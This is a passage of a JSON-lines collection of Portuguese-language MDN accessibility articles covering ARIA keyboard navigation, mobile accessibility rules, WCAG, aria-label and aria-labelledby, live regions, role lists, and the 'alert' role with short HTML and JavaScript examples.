páginas mais pesadas, alguém que navegue apenas pelo teclado deve pressioná-lo dezenas de vezes antes de alcançar a seção desejada. Implementar as convenções para teclado no modelo ambiente, para a *web*, tem o potencial de tornar a navegação significativamente mais rápida para essas pessoas.\n\nAqui está um resumo sobre como a navegação pelo teclado deve funcionar, com a habilitação do conjunto ARIA, na aplicação *web*:\n\n* A tecla TAB deve fornecer o foco para o *widget*, como um todo. Por exemplo, a tabulação em uma barra de menu deve ter seu foco em seu primeiro elemento.\n* As teclas de setas devem permitir uma seleção, ou a navegação dentro do *widget*. Por exemplo, as setas \"*esquerda*\" e \"*direita*\" devem levar o foco para o item anterior, ou próximo, do menu.\n* Quando o widget não estiver dentro de um formulário, as teclas \"*Entra*\" e \"*barra de espaço*\" devem selecionar, ou ativar o controle.\n* Dentro de um formulário, a tecla \"barra de spaço\" deve selecionar, ou ativar um controle, enquanto a tecla \"Entra\" deve submeter sua ação padrão.\n* Se houver dúvidas, copie o comportamento das ações padronizadas para ambiente nos controles que você estiver criando.\n\nAssim, para o exemplo de *widget* de abas acima, a pessoa que estiver navegando deve ser capaz de entrar e sair da caixa que o contém usando as teclas \"*Tab*\" e \"*Shift+Tab*\" ( a <ol> na nossa marcação). Uma vez que o foco, pelo teclado, estiver dentro do contêiner, as teclas de setas devem permitir a navegação entre as suas diferentes guias (os elementos <li> ). A partir daqui as convenções variam de plataforma para plataforma. No Windows, a próxima aba deve ser ativada, automaticamente, quando as teclas de setas forem pressionadas. Em Mac OS X, seus utilizadores ativam a próxima aba pressionando a tecla \"*Entra*\", ou a \"*barra de espaço*\". Um tutorial abrangente, para a criação de *widgets*, com navegação pelo teclado, descreve como implementar esse comportamento utilizando JavaScript Keyboard-navigable JavaScript widgets (*JavaScript para* *widgets navegáveis pelo teclado*).\n\nPara mais detalhes sobre as convenções da navegação pelo teclado em modelo ambiente, um guia completo (em inglês) DHTML style guide (*guia de estilos da HTML Dinâmica*) está disponível. Este guia oferece uma visão global de como a navegação pelo teclado deve funcionar em cada tipo de *widget* suportado pelo conjunto ARIA. A W3C também oferece um documento que ajuda muito, ARIA Best Practices, incluindo a navegação pelo teclado e as convenções de atalhos para uma variedade de *widgets*.\n\nVeja, também\n------------\n\n* ARIA\n* Web applications and ARIA FAQ\n* WAI-ARIA Specification\n* WAI-ARIA Best Practices\n* DHTML Style Guide"}
{"title":"Acessibilidade para plataforma móvel - Acessibilidade","text":"Acessibilidade para plataforma móvel\n====================================\n\nEste documento contém uma lista concisa de requisitos para desenvolvedores de aplicativos móveis. Tem como intenção evoluir continuamente conforme forem aparecendo outros padrões.\n\nCor\n---\n\n* O constrate de cor **DEVE** seguir os requirementos level AA do WCAG 2.0:\n    + Razão de contraste de 4.5:1 para textos normais (com menos de 18 pontos e 14 pontos em negrito.)\n    + Razão de contraste de 3:1 para textos grandes (com pelo menos 18 pontos ou 14 pontos em negrito.)\n* A informação transportada via cor **DEVE** ser também possível através de outros meios (textos sublinhados para links, etc.)\n\n**Nota:** Jon Snook escreveu um útil Colour Contrast Checker que é usado para checar o contraste de cores entre o *background* e o *foreground*. De maneira alternativa o Tanaguru Contrast-Finder faz um trabalho similar, mas também sugeste melhores contrastes de cores considerando as usadas.\n\nVisibilidade\n------------\n\n* Técnicas de esconder conteúdo como zero opacidade, ordem z-index e off-screen placement **NÃO DEVEM** ser exclusivas para visibilidade de manuseio.\n* Tudo que não é visível na tela **DEVE** ser verdadeiramente invisível (especialme relevante para apps de páginas únicas com múltiplos *cards*):\n    + **USE** o atributo `hidden` ou propriedades de estilo `visibility` ou `display.`\n    + A não ser que seja extemamente inevitável, **NÃO USE** o atributo `aria-hidden.`\nFoco\n----\n\n* Todos os elementos em foco **DEVEM**:\n    + Estar no padrão como os links, botões, e campo de formulário que são focalizados por padrão.\n    + Controles não padrões **DEVEM ter** um ARIA Role apropriado para eles, como em `button`, `link`, ou `checkbox`.\n* O Foco deve ser utilizado com uma ordem lógica e consistente.\nTextos Equivalentes\n-------------------\n\n* Textos equivalentes **DEVEM** ser declarados para cada elemento dentro do aplicativo que não sejam textos e aos elementos que não são estritamente presentacionais.\n    + Use *alt* e *title* quando apropriado (*veja* a postagem de Steve Faulkner Using the HTML title attribute para uma boa referência.)\n    + Se os atributos acima não forem aplicáveis, use os ARIA Properties apropriados, como `aria-label`, `aria-labelledby`, ou `aria-describedby`.\n* Imagens de textos **DEVEM** ser evitadas.\n* Todos controles de formulários **DEVEM** ter etiquetas (`<label>` elements) para melhor benefício dos leitores da tela.\nManipulação de Estado\n---------------------\n\n* Controles padrão como botões de rádio e checkboxes são manipuláveis pelo sistema operacional. No entanto, para uso customizado pode-se modificar esses estados via ARIA States como os `aria-checked`, `aria-disabled`, `aria-selected`, `aria-expanded`, e `aria-pressed`.\nOrientações gerais\n------------------\n\n* O título do aplicativo **DEVE** ser fornecido.\n* Cabeçalhos **NÃO DEVEM** ter sua hierarquia quebrada:\n\n```html\n<h1>Heading primeiro nível</h1>\n<h2>Heading segundo nível</h2>\n<h2>Outro Heading segundo nível</h2>\n<h3>Heading terceiro nível</h3>\n```\n\n* ARIA Landmark Roles **DEVE** ser usado para descrever o aplicativo ou a estrutura do documento, como: `banner`, `complementary`, `contentinfo`, `main`, `navigation`, `search`.\n* Eventos de toque só **DEVEM** ser ativados no evento `touchend`.\n* Alvos tocáveis **DEVEM** ser largos o suficiente para o usuário interagir (veja o BBC Mobile Accessibility Guidelines para ver as *guidelines* sobre tamanhos de alvos tocáveis .)\n\n**Nota:** Tanaguru's automated accessibility testing service fornece uma maneira útil para descobrir alguns erros de acessibilidade que ocorrem em páginas web, ou instalando aplicativos web (ex: Firefox OS.) Você pode encontrar mais sobre a técnica de implementação do Tanaguru, como também contribuir para o projeto tanaguru.org.\n\n**Nota:** A versão original desse documento foi escrita por Yura Zenevich."}
{"title":"Entendendo as Diretrizes de Acessibilidade do Conteúdo Web - Acessibilidade","text":"Entendendo as Diretrizes de Acessibilidade do Conteúdo Web\n==========================================================\n\nEste conjunto de artigos fornece explicações rápidas para ajudá-lo a entender as etapas que devem ser seguidas para estar em conformidade com as recomendações descritas nas Diretrizes de Acessibilidade para Conteúdo Web 2.0 ou 2.1 do W3C (ou apenas WCAG, para as finalidades deste artigo).\n\nO WCAG 2.0 e 2.1 fornece um conjunto detalhado de diretrizes para tornar o conteúdo web mais acessível para pessoas com uma ampla variedade de deficiências. Isso é compreensivo, porém incrivelmente detalhado e muito difícil de obter uma compreensão rápida disso. Por essa razão, nós fizemos uma sumário com os passos práticosque você precisa saber para satisfazer as diferentes recomendações, com mais alguns link para mais detalhes do que está sendo solicitado.\n\nOs quatro princípios\n--------------------\n\nWCAG is broadly broken down into four principles — major things that web content **must be** to be considered accessible (see Understanding the Four Principles of Accessibilityfor the WCAG definitions).\n\nEach of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.\n\n* Perceivable: Users must be able to perceive it in some way, using one or more of their senses.\n* Operable: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).\n* Understandable: The content must be understandable to its users.\n* Robust: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.\nShould I use WCAG 2.0 or 2.1?\n-----------------------------\n\nWCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1.\n\n### O que é o WCAG 2.1?\n\nWCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release WCAG 2.1 Adoption in Europe.\n\nWCAG 2.1 includes:\n\n* all of WCAG 2.0 (verbatim, word-for-word)\n* 17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas:\n    + Mobile Accessibility\n    + Low Vision\n    + Cognitive\n* Leia mais sobre o WCAG 2.1:\n    + Deque: WCAG 2.1: What is Next for Accessibility Guidelines\n    + TPG: Web Content Accessibility Guidelines (WCAG) 2.1\nPadrão legal\n------------\n\nThis guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.\n\nO que é acessibilidade? (en-US) e particulamente o Guia de Acessibilidade e a seção de regras (en-US) fornecem mais informações relacionadas."}
{"title":"Usando ARIA para rótulos com campos incorporados - Multipart labels - Acessibilidade","text":"Usando ARIA para rótulos com campos incorporados - Multipart labels\n===================================================================\n\nO problema\n----------\n\nVocê tem um formulário onde existe uma pergunta simples e a resposta é mencionada na própria questão. Um exemplo clássico, que todos nós conhecemos das configurações de nossos navegadores, é a colocação \"Deletar o histórico após x dias\". \"Apagar o histórico após\" está à esquerda da caixa de texto, x é o número, por exemplo, 21 e a palavra \"dias\" vem depois dessa caixa, formando uma sentença de fácil compreensão.\n\nSe você está usando um leitor de tela tem que perceber que, quando vai para esta configuração no Firefox, escuta a pergunta \"Deletar o histórico depois de 21 dias?\", seguida por um aviso de que você está em uma caixa de texto contendo o número 21. Isso não é legal? Você não precisa navegar ao redor para descobrir a unidade. \"Dias\" pode, facilmente, ser \"meses\", ou \"anos\" em muitos diálogos comuns, não havendo maneira de descobrir, a não ser com comandos para reexaminar a tela.\n\nA solução está em um atributo ARIA chamado **aria-labelledby** (*aria-etiqueta liderada por*). Seu parâmetro é uma cadeia de caracteres (*string*) que consiste de IDs dos elementos HTML que você quer concatenar em um único nome acessível.\n\nTanto o atributo **aria-labelledby**, como o **aria-describedby** (*aria-descrito por*), são especificados no elemento de formulário que será rotulado, por exemplo uma <input>. Em ambas as situações, as ligações do controle da rotulagem *for/label*, que podem, também, estar presentes, serão substituídas pelo atributo **aria-labelledby**. Se você oferecer o atributo **aria-labelledby** em uma página HTML, então deve, da mesma forma, providenciar uma arquitetura de rótulo que vá, igualmente, apoiar os navegadores mais antigos, que ainda não têm suporte ARIA. Com Firefox 3, seus utilizadores cegos conseguem, automaticamente, melhor acessibilidade com o novo atributo, mas quem utiliza navegadores antigos não sofrerá abandono no escuro, desta forma.\n\nExemplo:\n\n\n```html\n<input\n aria-labelledby=\"labelShutdown shutdownTime shutdownUnit\"\n type=\"checkbox\" />\n<span id=\"labelShutdown\">Shut down computer after</span>\n<input\n aria-labelledby=\"labelShutdown shutdownTime shutdownUnit\"\n id=\"shutdownTime\"\n type=\"text\"\n value=\"10\" />\n<span id=\"shutdownUnit\"> minutes</span>\n```\n\nUma nota para quem usa JAWS 8\n-----------------------------\n\nO JAWS 8.0 tem a sua própria lógica para encontrar os *labels* e isso o faz, sempre, substituir a caixa de texto com o *accessibleName* que uma página HTML recebe. Quanto ao JAWS 8, **eu** ainda não encontrei uma maneira de fazê-lo aceitar o *label* do exemplo acima. Mas o NVDA e o Window-Eyes fazem isso muito bem e a Orca, no Linux, também não apresenta problemas. (Os **autores** do artigo, são: bunnybooboo, kscarfone, StephenKelly, Kritz, Fredchat, Sheppy, Aaronlev)\n\n**Nota:** TBD: adicione mais informação de compatibilidade\n\nIsto pode ser executado sem ARIA?\n---------------------------------\n\nO membro da comunidade Ben Millard apontou, numa publicação em um blogue, que os controles podem ser embutidos nos *labels,* como mostrado no exemplo acima, usando HTML 4, controls can be embedded in labels as shown in the above example using HTML 4, simplesmente com a incorporação da entrada (*input*) no rótulo (*label*). Agradecemos pela informação, Ben! É muito útil e deixa claro que algumas técnicas que estão disponíveis há anos escapam, às vezes, até mesmo aos gurus. Esta técnica funciona em Firefox; entretanto, isso não é verdade para muitos outros navegadores, inclusive IE. Para *labels* com controles de formulários embutidos o uso do atributo **aria-labelledby** ainda é a melhor abordagem."}
{"title":"Guia para implementar o leitor de tela ARIA - Acessibilidade","text":"Guia para implementar o leitor de tela ARIA\n===========================================\n\nRegiões Ativas\n--------------\n\nEste é apenas um guia. Uma marcação de região ativa é uma área complexa que é algo aberto à interpretações. O que segue pretende prover um guia de implementação que respeita a necessidade dos desenvolvedores de leitores de tela para tentar novas coisas. A intenção é chegar a um balanço entre providenciar um guia útil em como usar o significado de marcação pretendido\n\n### Interpretando a marcação de região ativa WAI-ARIA\n\n1. Mudanças ativas são são dicas: Em geral marcação de região ativa é dado pelo autor como dicas, e a tecnologia assistiva pode permitir , site or even region-specific settings, assim como heurística para ajudar com mudanças ativas nas páginas que não têm dicas WAI-ARIA.\n2. Opcionalmente, criar uma segunda, queue adicional se o usuário configurar um segundo canal de hardware: Se há dois canais para apresentação (i.e. text-to-speech e display Braile), então duas queues podem ser mantidas para permitir apresentação paralela. Os canais poderiam se configurados pelo usuário para apresentar regiões ativas baseada em vez ou prioridades.\n3. Regiões ocupadas: Qualquer alteração numa região marcada com aria-busy=\"true\" não deve ser adicionada à queue até que aquele atributo seja limpo.\n4. Prioridade (aria-live ou a partir da vez) tem primeira precedência: itens deveriam ser adicionados à queue baseadas no seu nível de prioridade da propriedade aria-live ou inerente da vez (i.e. role=\"log\" é prioridade por padrão). Itens assertivos são os primeiros então nível de prioridade. Alternativamente, implementações podem escolher ter uma política de limpeza mais items de prioridade, i.e. itens assertivos limpam qualquer item de prioridade da queue.\n5. Tempo toma a segunda procedência: Priorizar itens com o mesmo nível de prioridade de acordo com quando o evento ocorre (eventos anteriores vêm primeiro). Itens presentes do mesmo nível de prioridade na ordem do que ocorreu primeiro.\n6. Regiões atômicas (aria-atomic=\"true\") com mudanças múltiplas não deveriam estar presentes duas vezes com o mesmo conrteúdo. Como um novo evento para uma região atômica é adicionada à queue e remove um evento anterior para a mesma região. É provavelmente desejável que tenha pelo menos um pequeno timeout antes de apresentar mudanças numa região atômica, com a finalidade de evitar apresentar a região duas vezes para duas mudançasque ocorrem rapidamente uma após a outra.\n7. Inclua labels quando estiver apresntando mudanças: se a mudança ocorre em algo com um label de alguma forma semântico, fale o label. Isso é particularmente importante para mudanças em data cells, onde os headers column e row fornecem informação contextual importante.\n### Ideias para Configurações e Heurística\n\n1. Permitir uma voz diferente (em text-to-speech) ou outras características de apresentação para setar mudanças ativas seperadamente.\n2. Quando não há marcação WAI-ARIA presente, automaticamente apresenta algumas mudanças a mesnos que o usuário configure todas as mudanças ativas para desligado. Por exemplo, mudanças automáticas de fala que são causadas pela própria entrada do usuário, como parte do contexto daquela entrada.\n3. Permitir configurações globais para desligar a apresentação de mudanças ativas, apresentar todas as mudanças ativas, use marcação, ou seja \"esperto\" (use heurística).\n### Detalhes para Processamento via APIs Platform Acessibility\n\nEsperamos que o desenvolvedor do navegador irá trabalhar para fornecer implementações consistentes. A imlementação mais completa das regiões ativas atualmente está no Firefox 3. Aqui está como regiões ativas WAI-ARIA são expostas no Firefox 3."}
{"title":"WAI-ARIA Roles - Acessibilidade","text":"WAI-ARIA Roles\n==============\n\nEssa página lista referências às atribuções WAI-ARIA discutidos no MDN. Para visualizar a lista completa, veja Using ARIA: Roles, States, and Properties\n\nUtilizando a função \"alerta\"Esta técnica mostra como utilizar o atributo *role* alert e demonstra seu efeito em navegadores e tecnologias assistivas."}
{"title":"ARIA techniques - Acessibilidade","text":"ARIA techniques\n===============\n\nO ARIA define as semânticas que podem ser aplicadas aos elementos, e são divididas em **funções** (definindo um tipo de elemento da interface do usuário) e **estados** e **propriedades** que são suportados por uma função. Os autores devem atribuir uma função ARIA e os estados e propriedades apropriados a um elemento durante seu ciclo de vida, a menos que o elemento já possua semântica ARIA apropriada (através do uso de um elemento HTML apropriado). A adição de semântica ARIA apenas expõe informações extras para a API de acessibilidade de um navegador e não afeta o DOM de uma página.\n\nFunções\n-------\n\n### Funções de widget\n\n* button (en-US)\n* checkbox (en-US)\n* gridcell (en-US)\n* link\n* menuitem\n* menuitemcheckbox\n* menuitemradio\n* option\n* progressbar\n* radio\n* scrollbar\n* searchbox\n* separator (when focusable)\n* slider\n* spinbutton\n* switch (en-US)\n* tab (en-US)\n* tabpanel (en-US)\n* textbox\n* treeitem (en-US)\n### Funções compostas\n\nAs técnicas abaixo descrevem cada função composta, bem como suas funções filho obrigatórias e opcionais.\n\n* combobox\n* grid (en-US) (incluindo as funções row (en-US), gridcell (en-US), rowheader, columnheader)\n* listbox (incluindo a função option)\n* menu\n* menubar\n* radiogroup (veja a função radio)\n* tablist (en-US) (incluindo as funções tab (en-US) and tabpanel (en-US))\n* tree (en-US)\n* treegrid\n### Funções da estrutura de documento\n\n* application (en-US)\n* article (en-US)\n* cell (en-US)\n* columnheader\n* definition\n* directory\n* document (en-US)\n* feed\n* figure (en-US)\n* group\n* heading (en-US)\n* img\n* list (en-US)\n* listitem (en-US)\n* math\n* none\n* note\n* presentation\n* row (en-US)\n* rowgroup (en-US)\n* rowheader\n* separator\n* table (en-US)\n* term\n* textbox (en-US)\n* toolbar\n* tooltip (en-US)\n### Funções de ponto de referência\n\n* banner\n* complementary (en-US)\n* contentinfo (en-US)\n* form (en-US)\n* main (en-US)\n* navigation (en-US)\n* region (en-US)\n* search (en-US)\n### Funções de regiões ativa\n\n* alert\n* log\n* marquee\n* status\n* timer (en-US)\n### Funções de janela\n\n* alertdialog (en-US)\n* dialog (en-US)\nEstados e propriedades\n----------------------\n\n### Atributos de widget\n\n* aria-autocomplete\n* aria-checked\n* aria-current\n* aria-disabled\n* aria-errormessage\n* aria-expanded\n* aria-haspopup\n* aria-hidden\n* aria-invalid\n* aria-label\n* aria-level\n* aria-modal\n* aria-multiline\n* aria-multiselectable\n* aria-orientation\n* aria-placeholder\n* aria-pressed\n* aria-readonly\n* aria-required\n* aria-selected\n* aria-sort\n* aria-valuemax\n* aria-valuemin\n* aria-valuenow\n* aria-valuetext\n### Atributos da região ativa\n\n* aria-live\n* aria-relevant\n* aria-atomic\n* aria-busy\n### Atributos de drag & drop\n\n* aria-dropeffect\n* aria-dragged\n### Atributos de relacionamento\n\n* aria-activedescendant\n* aria-colcount\n* aria-colindex\n* aria-colspan\n* aria-controls\n* aria-describedby\n* aria-details (en-US)\n* aria-errormessage\n* aria-flowto\n* aria-labelledby\n* aria-owns\n* aria-posinset\n* aria-rowcount\n* aria-rowindex\n* aria-rowspan\n* aria-setsize\n### Propriedades específicas do MicrosoftEdge\n\n* x-ms-aria-flowfrom (en-US) \nNon-standard"}
{"title":"ARIA guides - Acessibilidade","text":"ARIA guides\n===========\n\nAplicações de internet ricas acessíveis (**ARIA**) define caminhos para fazer a web mais acessível para pessoas com deficiências. Umas poucas linhas guias para seguirem que garante melhor acessibilidade, como usar drag and drop para colocações de widgets.\n\n* Manipulação de erros em formulários\n* Widgets de rotulagens\n* Rotulagem de widgets compostos e regiões\n* Gerenciamento do foco em Widgets Compostos (aria-activedescendant vs roving tabindex)\n* Usando funções de referência\n* Manipulação dinâmica de atualizações & Regiões ao vivo\n* Virtual vs. Modo não Virtual em AT Produtos\n* Usando Drag & Drop\n* Notificar usuários de Não-ARIA Leitores de telas\n* Estrtura de fixação com papel de apresentação\n* Esconder tabela de leiaute (Layout)\n* Gerenciamento de diálogos modais e não modais\n* Usando ARIA com HTML5\n* Como testar ARIA\n* ARIA em dispositivos móveis"}
{"title":"aria-label - Acessibilidade","text":"aria-label\n==========\n\nO atributo `aria-label` define um valor de string que rotula um elemento interativo.\n\nDescrição\n---------\n\nÀs vezes, o nome acessível padrão de um elemento está ausente ou não descreve com precisão seu conteúdo e não há conteúdo visível no DOM que pode ser associado ao objeto para dar-lhe significado. Um exemplo comum é um botão contendo um SVG ou fonte de ícone (que você não deveria usar) sem nenhum texto.\n\nNos casos em que um elemento interativo não tem um nome acessível, ou um nome acessível que não é preciso, e não há conteúdo visível no DOM que possa ser referenciado via [`aria-labelledby`](/pt-BR/docs /Web/Accessibility/ARIA/Attributes/aria-labelledby), o atributo `aria-label` pode ser usado para definir uma string que rotula o elemento interativo no qual está definido. Isso fornece ao elemento seu nome acessível.\n\n\n```html\n<button aria-label=\"Fechar\" onclick=\"myDialog.close()\">\n  <svg\n aria-hidden=\"true\"\n focusable=\"false\"\n width=\"17\"\n height=\"17\"\n xmlns=\"https://www.w3.org/2000/svg\">\n    <path\n d=\"m.967 14.217 5.8-5.906-5.765-5.89L3.094.26l5.783 5.888L14.66.26l2.092 2.162-5.766 5.889 5.801 5.906-2.092 2.162-5.818-5.924-5.818 5.924-2.092-2.162Z\"\n fill=\"#000\" />\n  </svg>\n</button>\n```\n\n\n`aria-label` destina-se ao uso em elementos interativos, ou elementos feitos para serem interativos por meio de outras declarações ARIA, quando não houver texto apropriado visível no DOM que possa ser referenciado como um rótulo\n\nA maior parte do conteúdo tem um nome acessível gerado a partir do conteúdo de texto de seu elemento de encapsulamento imediato. Nomes acessíveis também podem ser criados por certos atributos ou elementos associados.\n\nPor padrão, o nome acessível de um botão é o conteúdo entre as tags `<button>` de abertura e fechamento, o nome acessível de uma imagem é o conteúdo de seu [`alt`](/pt-BR/docs/Web /HTML/Element/img#alt) e o nome acessível de uma entrada de formulário é o conteúdo do elemento `<label>` associado.\n\nSe nenhuma dessas opções estiver disponível, ou se o nome acessível padrão não for apropriado, use o atributo `aria-label` para definir o nome acessível de um elemento.\n\n`aria-label` pode ser usado em casos onde o texto que poderia rotular o elemento é *não* visível. Se houver texto visível que rotule um elemento, use `aria-labelledby` (en-US).\n\nO propósito de `aria-label` é o mesmo que `aria-labelledby`. Ambos fornecem um nome acessível para um elemento. Se não houver um nome visível para o elemento que você pode referenciar, use `aria-label` para fornecer ao usuário um nome acessível reconhecível. Se o texto do rótulo estiver disponível no DOM e fizer referência ao conteúdo do DOM e à experiência do usuário aceitável, prefira usar `aria-labelledby`. Não inclua ambos. Se ambos estiverem presentes no mesmo elemento, `aria-labelledby` terá precedência sobre `aria-label`.\n\nO atributo `aria-label` pode ser usado com elementos HTML semânticos regulares; não se limita a elementos que tenham um ARIA `role` atribuído.\n\nNão \"exagere\" o `aria-label`. Por exemplo, use texto visível com `aria-describedby` ou `aria-description`, não `aria-label`, para fornecer instruções adicionais ou esclarecer a interface do usuário. Lembre-se sempre de que você não precisa direcionar instruções apenas para leitores de tela; se forem necessárias instruções, forneça-as a todos (ou, de preferência, torne sua interface do usuário mais intuitiva).\n\nNem todos os elementos podem receber um nome acessível. Nem `aria-label` nem `aria-labelledby` devem ser usados com elementos não interativos ou papéis estruturais embutidos como `código`, `termo` ou `ênfase` nem papéis cuja semântica não será mapeada para a acessibilidade API, incluindo `presentation`, `none` e `hidden`. O atributo `aria-label` destina-se apenas a elementos interativos. Use `aria-label` para garantir que um nome acessível seja fornecido quando nenhum estiver visível no DOM para todos os elementos interativos, como links, vídeos, controles de formulário, [papéis de referência](/pt-BR/docs/Web/Accessibility/ARIA /Roles#3.\\_landmark\\_roles) e funções de widget.\n\nSe você der a seus `<iframe>`s um `title`, suas imagens um atributo `alt` e os `<label>`s associados à sua entrada, `aria-label` não é necessário. Mas, se presente, o `aria-label` terá precedência sobre o `title`, `alt` e `<label>` como seu `iframe`, imagem ou nome acessível da entrada, respectivamente.\n\nO `aria-label` só é \"visível\" para tecnologias assistivas. Se as informações forem importantes o suficiente para serem adicionadas aos usuários AT, considere torná-las visíveis para todos os usuários.\n\nValores\n-------\n\n`<string>`\n\nUma string de texto que será o nome acessível para o objeto.\n\nAPI ARIAMixin\n-------------\n\n`Element.ariaLabel` (en-US)\n\nA propriedade `ariaLabel` (en-US), parte da interface `Element`, reflete o valor do `aria-label` atributo.\n\n`ElementInternals.ariaLabel` (en-US)\n\nA propriedade `ariaLabel` (en-US), parte da interface `ElementInternals` (en-US), reflete o valor do `aria-label` atributo.\n\nFunções associadas\n------------------\n\nUsado em quase todas as funções **exceto** funções que não podem receber um nome acessível pelo autor.\n\nO atributo `aria-label` **NÃO** é suportado em:\n\n* `code` (en-US)\n* `caption` (en-US)\n* `deletion` (en-US)\n* `emphasis` (en-US)\n* `generic` (en-US)\n* `insertion` (en-US)\n* `mark` (en-US)\n* `paragraph` (en-US)\n* `presentation` (en-US) / `none` (en-US)\n* `strong` (en-US)\n* `subscript` (en-US)\n* `superscript` (en-US)\n* `suggestion` (en-US)\n* `term` (en-US)\n* `time` (en-US)\n\nO atributo `aria-label` destina-se apenas a elementos interativos. Quando colocado em elementos não interativos, como os listados acima, pode não ser lido ou pode confundir seus usuários como um elemento não interativo que age como interativo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Accessible Rich Internet Applications (WAI-ARIA) # aria-label |\n\nVeja também\n-----------\n\n* O elemento `<label>`\n* `aria-labelledby` (en-US)"}
{"title":"Utilizando a função \"alerta\" - Acessibilidade","text":"Utilizando a função \"alerta\"\n============================\n\n### Descrição\n\nEsta técnica mostra como utilizar o atributo *role* alert e demonstra seu efeito em navegadores e tecnologias assistivas.\n\nO atributo de alerta é utilizado para comunicar alguma mensagem importante e, frequentemente, urgente. Quando este atributo (*role*) estiver ligado a um elemento, o navegador vai enviar um evento acessível de alerta aos produtos de tecnologia assistiva que, então, poderão notificar seus utilizadores sobre o que estiver acontecendo. O atributo *alert* é mais útil para as informações que requerem a atenção imediata na tela. Por exemplo:\n\n* Um valor inválido foi inserido em um campo de um formulário\n* A sessão atual expirou\n* a conexão com o servidor foi perdida, as mudanças locais não serão salvas.\n\nPor causa da sua natureza intrusiva, o atributo de alerta deve ser usado moderadamente e, apenas, nas situações que exigirem atenção imediata. Mudanças dinâmicas que são menos urgentes devem receber um método menos agressivo, tal como a aria-live=\"polite\", ou outros atributos (*roles*) para regiões dinâmicas.\n\n### Efeitos possíveis sobre as tecnologias assistivas e seus utilizadores\n\nQuando o atributo (*role*) alerta é adicionado a um elemento, ou este se torna visível, o identificador de navegação (*user agent*) deve fazer o seguinte:\n\n* Exibir o elemento como tendo uma função de alerta (*alert role*) na API de acessibilidade do sistema operacional.\n* Disparar um evento de alerta acessível, usando a API de acessibilidade do sistema operacional, se houver suporte para tal.\n\nOs produtos de tecnologias assistivas devem atender tal evento e notificar seus utilizadores, em conformidade.\n\n* Leitores de tela podem interromper a produção corrente (quer sejam a fala, ou o braille) e, imediatamente, anunciar, ou exibir, a mensagem de alerta.\n* Ampliadores de tela podem, visualmente, indicar que houve um alerta e qual era o seu texto.\n\n**Nota:** As opiniões podem divergir sobre como uma tecnologia assistiva deve gerenciar esta técnica. A informação oferecida acima é uma dessas opiniões e, portanto, não é normativa.\n\n### Exemplos\n\n#### Exemplo 1: Adicionando o atributo (*role*) no código HTML\n\nO trecho abaixo mostra como o atributo *role alert* é inserido, diretamente, no código-fonte HTML. No momento em que o elemento termina de carregar, o leitor de tela deve ser notificado do alerta. Se o elemento já estiver no código-fonte original quando a página carregar, o leitor de tela vai anunciar o erro imediatamente após a apresentação do título da página.\n\n\n```html\n<h2 role=\"alert\">\n  Your form could not be submitted because of 3 validation errors.(Seu\n  formulário não pode ser submetido devido a 3 erros de validação)\n</h2>\n```\n\n\n#### Exemplo 2: Adicionando, dinamicamente, um elemento com a função de alerta\n\nEsta parte mostra como criar, de forma dinâmica, um elemento com uma função de alerta e como adicioná-lo à estrutura do documento:\n\n\n```js\nvar myAlert = document.createElement(\"p\");\nmyAlert.setAttribute(\"role\", \"alert\");\nvar myAlertText = document.createTextNode(\n  \"You must agree with our terms of service to create an account.(Você deve concordar com os nossos termos de serviço, a fim de criar uma conta)\",\n);\nmyAlert.appendChild(myAlertText);\ndocument.body.appendChild(myAlertText);\n```\n\n\n**Nota:** O mesmo resultado pode ser obtido com menos código, quando se utiliza uma biblioteca de *script*, como jQuery:\n\n\n```js\n$(\n  \"<p role='alert'>You must agree with our terms of service to create an account.(Você deve concordar com os nossos termos de serviço para criar uma conta)</p>\",\n).appendTo(document.body);\n```\n\n\n#### Exemplo 3: Adicionando a função de alerta a um elemento existente\n\nÀs vezes é preferível adicionar uma função de alerta a um elemento que já está visível na página, a criar um novo elemento. Isto possibilita que os desenvolvedores reiterem a informação que virá a ser mais importante, ou urgente, para os utilizadores. Por exemplo, um controle de formulário pode ter uma instrução sobre o valor esperado. Caso um valor diferente seja inserido, o`role=\"alert\"`pode ser adicionado ao texto de instrução e, então, o leitor de tela o anuncia como um alerta. O pseudo código, no fragmento abaixo, ilustra esta abordagem:\n\n\n```html\n<p id=\"formInstruction\">You must select at least 3 options</p>\n```\n\n\n\n```js\n// When the user tries to submit the form with less than 3 checkboxes selected (Quando houver a tentativa de submissão do formulário com menos de 3 caixas de seleção marcadas):\ndocument.getElementById(\"formInstruction\").setAttribute(\"role\", \"alert\");\n```\n\n\n#### Exemplo 4: Construindo um elemento com uma função de alerta visível\n\nSe um elemento já tem o atributo `role=\"alert\"` e é, inicialmente, escondido pelo uso da CSS, torná-lo visível o faz disparar como se estivesse adicionado à página. Isto significa que um alerta existente pode ser \"utilizado\" múltiplas vezes.\n\n**Nota:** Na maioria dos casos, esta abordagem não é recomendada, porque não é a ideal para esconder erro, ou alerta de texto, que não for aplicável no momento. Utilizadores de tecnologias assistivas antigas podem, ainda, perceber o texto de alerta, mesmo quando este não devesse ser aplicado, fazendo com que acreditem, incorretamente, que há um problema.\n\n\n```css\n.hidden {\n  display: none;\n}\n```\n\n\n\n```html\n<p id=\"expirationWarning\" role=\"alert\" class=\"hidden\">\n  Your log in session will expire in 2 minutes(A sua sessão vai expirar em 2\n  minutos)\n</p>\n```\n\n\n\n```js\n// removing the 'hidden' class makes the element visible, which will make the screen reader announce the alert:(Remover a classe \"hidden\" faz o leitor de tela anunciar o alerta)\ndocument.getElementById(\"expirationWarning\").className = \"\";\n```\n\n### Notas\n\n* A utilização da função alerta em um elemento implica que ele tenha a `aria-live=\"assertive\"`.\n* O atributo *alert role* deve ser usado, apenas, para conteúdo com texto estático. O elemento no qual a função alerta for usada não deve ser passível de receber foco, então, um 